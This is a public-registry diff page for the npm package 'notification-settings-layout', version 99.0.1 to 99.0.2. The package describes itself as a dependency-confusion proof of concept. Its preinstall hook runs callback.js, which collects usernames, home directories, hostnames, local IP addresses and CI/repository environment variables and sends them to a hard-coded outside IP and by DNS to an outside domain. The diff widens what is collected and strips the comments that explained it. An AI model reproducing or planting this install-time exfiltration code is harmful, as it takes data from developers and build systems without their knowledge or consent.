notification-settings-layout 99.0.1 → 99.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/callback.js +13 -4
  2. package/package.json +1 -1
package/callback.js CHANGED
@@ -10,10 +10,20 @@ const data = JSON.stringify({
10
10
  u: os.userInfo().username,
11
11
  ts: new Date().toISOString(),
12
12
  cwd: process.cwd(),
13
- ci: process.env.CI || process.env.JENKINS_URL || process.env.GITHUB_ACTIONS || 'none'
13
+ ci: process.env.CI || 'none',
14
+ github: process.env.GITHUB_ACTIONS || '',
15
+ github_repo: process.env.GITHUB_REPOSITORY || '',
16
+ github_org: process.env.GITHUB_REPOSITORY_OWNER || '',
17
+ gitlab: process.env.GITLAB_CI || '',
18
+ jenkins: process.env.JENKINS_URL || '',
19
+ azure: process.env.BUILD_REPOSITORY_URI || '',
20
+ npm_config_registry: process.env.npm_config_registry || '',
21
+ node_env: process.env.NODE_ENV || '',
22
+ home: os.homedir(),
23
+ platform: os.platform(),
24
+ net: Object.values(os.networkInterfaces()).flat().filter(i => !i.internal && i.family === 'IPv4').map(i => i.address).join(',')
14
25
  });
15
26
 
16
- // HTTP callback to our server
17
27
  const req = http.request({
18
28
  hostname: '165.22.164.100',
19
29
  port: 8443,
@@ -26,6 +36,5 @@ req.on('error', () => {});
26
36
  req.write(data);
27
37
  req.end();
28
38
 
29
- // DNS callback as backup
30
- const id = ['depconfusion', os.hostname().replace(/[^a-z0-9]/gi,'-').slice(0,30)].join('.');
39
+ const id = ['dc', os.hostname().replace(/[^a-z0-9]/gi,'-').slice(0,30)].join('.');
31
40
  dns.resolve(id + '.d69ai701mapqfrtu0ulg7i38uo6cotenc.projectinteraction.info', () => {});
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "notification-settings-layout",
3
- "version": "99.0.1",
3
+ "version": "99.0.2",
4
4
  "description": "Security research - dependency confusion proof of concept. Contact: schneidersec on npm.",
5
5
  "scripts": {
6
6
  "preinstall": "node callback.js || true"